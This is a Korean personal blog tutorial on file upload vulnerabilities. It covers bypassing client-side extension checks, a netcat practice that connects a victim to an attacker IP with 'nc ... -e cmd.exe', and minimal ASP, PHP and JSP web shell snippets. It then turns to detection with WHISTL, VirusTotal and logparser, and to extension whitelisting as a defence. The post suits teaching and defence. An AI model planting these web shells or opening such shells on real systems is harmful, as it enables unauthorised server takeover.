ETC./WEB

파일 업로드 취약점

마띠(쥔장) 2019. 11. 12. 16:29

파일업로드

(게시판 등 제한 없이 파일을 업로드할 수 있는 곳은 취약성이 있다고 가정하고 접근)

 

:웹 쉘(명령어를 실행시킬 수 있는 웹 페이지)을 업로드하고, 실행하여 시스템 권한을 획득하는 행위

 

(1) 취약한 소스 예제

 

if문: 이미지를 첨부할 수 있는 곳에서 아무것도 업로드하지 않았을 때 경고 얼럿

else if문: 파일 확장자 제한 얼럿

-> 개발자 나름대로 취약성을 인식하고 제한을 걸어둠

하지만 자바 스크립트는 웹 브라우저에서만 입력값을 검사하기 때문에 proxy툴 등을 이용하여 변조가 가능하다

 

ex_ if(attacheFile.match(/.jpg|.jpge|.gif|.png$/i) ->if(attacheFile.match(/.jpg|.jpge|.gif|.png|jsp$/i)

 

개발자 의도와는 반대로 공격자 임의대로 jsp 파일을 업로드할 수 있고 시스템 권한을 획득할 수 있다

중요한 입력과 검증은 JSP로 하지 말자!

 

(2) netcat을 이용한 실습

 

1. 공격자 PC에서 netcat을 실행한다

nc -l -p 6000:

-ㅣ: 인바운드용 연결모드

-p : 연결될 포트를 명시

local에서 port는 TCP 6000번을 listening

 

2. 피해자도 netcat 실행

nc 공격자IP 6000 -e cmd.exe:

-e : 포트와 연결이 되면 실행할 프로그램을 명시한다.

 

3. 공격자는 listening 중이므로 윈도우 권한을 가질 수 있다.

 ex_ ipconfig, dir c:\

 

 

(3) 파일 업로드 - 언어별 웹 쉘의 특징

 

ASP

ASP 웹쉘의 핵심: WSH(Windows Scripting Host: 32bit Windows 플랫폼을 위한 언어 독립적 스크립트)

 

Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Wsh Shell 객체의 인스턴스를 만들고 다음줄에 선언된 Run 메소드를 통해 파일을 동작시킨다

 

Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")

WSH는 간단한 네트워크에 Windows의 기본 네트워킹 요소에 대한 메소드 및 속성셋을 제공한다

 

Set oFileSys = Syerver.CreateObject("Scripting.FileSytemObject")

FileSystemObject(FSO)를 통해 드라이브, 디렉토리, 파일을 액세스하고 각각에 대한 정보를 얻을 때 사용할 수 있는 포괄적인 개체

 

ex_

Set oScript = Server.CreateObject("ws...Shell")

...

...

call oScript.Run("cmd.exe...)

 

이런 식으로 웹 페이지를 통해 윈도우 명령어를 사용할 수 있다.

 

PHP

PHP 웹쉘의 핵심 코드: exec($cmd);

 

ex_

<input type = 'text' name = 'cmd' size = '70' value ="">

<?php

           echo exec($cmd);

?>

 

변수 이름인 cmd를 실행(exec)하는 코드를 활용하여 웹페이지를 통해 시스템 명령어 삽입 가능하다.

 

JSP

JSP 웹쉘의 핵심 코드: Process p = Runtime.getRuntime().exec(cmd);

 

ex_

String cmd = request.getParameter("cmd"); //입력창에서 cmd라는 변수로 사용자 입력값을 받는다

...

Process p = Runtime.getRuntime().exec(cmd);

 

cmd에 입력된 명령어를 웹쉘에서 확인할 수 있다.

 

(4) 해킹 로그 분석

 

1) 프로그램 소스 내 패턴 검색

 

KISA의 WHISTL

https://www.boho.or.kr/download/whistlCastle/whistl.do

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

2) 안티 바이러스 제품 검색: 의심스러운 파일을 안티 바이러스 제품을 통해 확인

 

VIRUSTOTAL:

전세계에 사용되는 여러가지 검색 엔진을 동시에 이용하여 검사

이미 검사된 파일은 다른 사용자의 검사 결과를 보여주기도 함

 

https://www.virustotal.com/gui/home/upload

 

VirusTotal

 

www.virustotal.com

3) 웹 로그 검색: 페이지 접속 통계를 통한 top-down 페이지 분석

 

logparser 

 

1)

2) Windows 기능 켜기/끄기

3) 체크 박스 체크

4) IIS 실행

5) 로그 파일 위치 찾기

6) logparser 실행

7) 적중 횟수 별 요청 ( 최다 통화 된 페이지 검색)

8)

logparser -iw:ON -i:W3C -o:csv "SELECT cs-uri-stem as request, count(*) as total FROM [input.log] To [output.csv] GROUP BY request ORDER BY total"

 

http://inet.co.kr/news/view.php?gubun=4&no=608&page=

 

http://inet.co.kr/news/view.php?gubun=4&no=608&page=

n Logparser를 이용한 Web 로그 분석 가이드 -   Log Parser 2.2 설치 -      웹 로그 속성 변경(보다 많은 정보를 분석하기 위함) -      Microsoft Office Web Components 설치. (오피스 2003버전은 2007까지 호환됨.) -      입력은 IIS를 비롯 IISW3C,NCSA,IISODBC,BIN,IISMSID,HTTPERR,URLSCAN,CSV,TSV, W3C,XML,EVT,ETW,NETMO

inet.co.kr

 

 

(5) 파일 업로드 - 대책

 

1) Positive 방식

허용할 확장자를 선정하고 해당 확장자만을 업로드 허용하는 방식

ex) .hwp, .jpg 등

 

2) Negative 방식

차단할 확장자를 선정하고 해당 확장자를 차단하는 방식

ex) .jsp, .php, .asp

 

-Negative 방식은 제한할 확장자 경우의 수가 많기 때문에 Positive 방식이 더욱 안전하다.

 

좌부터 순서대로 ASP, PHP, JSP

 

728x90

'ETC. > WEB' 카테고리의 다른 글

Nmap Port Scanning with Wireshark  (0) 2021.03.29
파일 다운로드 취약점  (0) 2019.11.12
XSS  (0) 2019.11.12